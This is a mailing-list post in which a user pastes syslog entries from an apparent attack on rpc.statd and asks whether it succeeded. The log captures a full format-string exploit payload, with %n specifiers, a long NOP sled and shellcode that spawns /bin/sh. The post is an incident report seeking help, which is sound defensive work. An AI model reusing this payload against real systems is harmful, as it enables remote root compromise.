I got the following (alarming) messages on syslog:

Jan  8 13:34:23 yuban syslogd: Cannot glue message parts together
Jan  8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for 
^X\xf7\xff\xbf^X\xf7\xff\xbf^Y\xf7\ 
xff\xbf^Y\xf7\xff\xbf^Z\xf7\xff\xbf^Z\xf7\xff\xbf^[\xf7\xff\xbf^[\xf7\xff\xbf%8x%8x%8x%8x%8x%8x%8x%8x%8
 
x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22
 
0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2
 
20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
 
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
 
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22
 
0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2
 
20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
 
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
Jan  8 13:34:23 yuban 
\xc7^F/bin\xc7F^D/shA0\xc0\210F^G\211v^L\215V^P\215N^L\211\xf3\xb0^K\xcd\200\xb0^
 A\xcd\200\xe8\177\xff\xff\xff

it looks like an attack (specially when I see /bin/sh hidden in
there). I searched the lists and it seems that this problem should
have been corrected before potato was released. Any reason for
worries, or is there any reason why I should think it was an
unsuccessful attack?


--
Cesar Augusto Rorato Crusius    __o      __o      __o      __o      __o    
Stanford University           _`\<,    _`\<,    _`\<,    _`\<,    _`\<,    
e-mail:[EMAIL PROTECTED]    (_)/(_)  (_)/(_)  (_)/(_)  (_)/(_)  (_)/(_)   
www.stanford.edu/~crusius
                                       o      _     _         _
   __o      __o      __o      __o     /\_   _ \\o  (_)\__/o  (_)
 _`\<,    _`\<,    _`\<,    _`\<,    _>(_) (_)/<_    \_| \   _|/' \/
(_)/(_)  (_)/(_)  (_)/(_)  (_)/(_)  (_)        (_)   (_)    (_)'  _\o_

He who sacrifices functionality for ease of use
Loses both and deserves neither

Reply via email to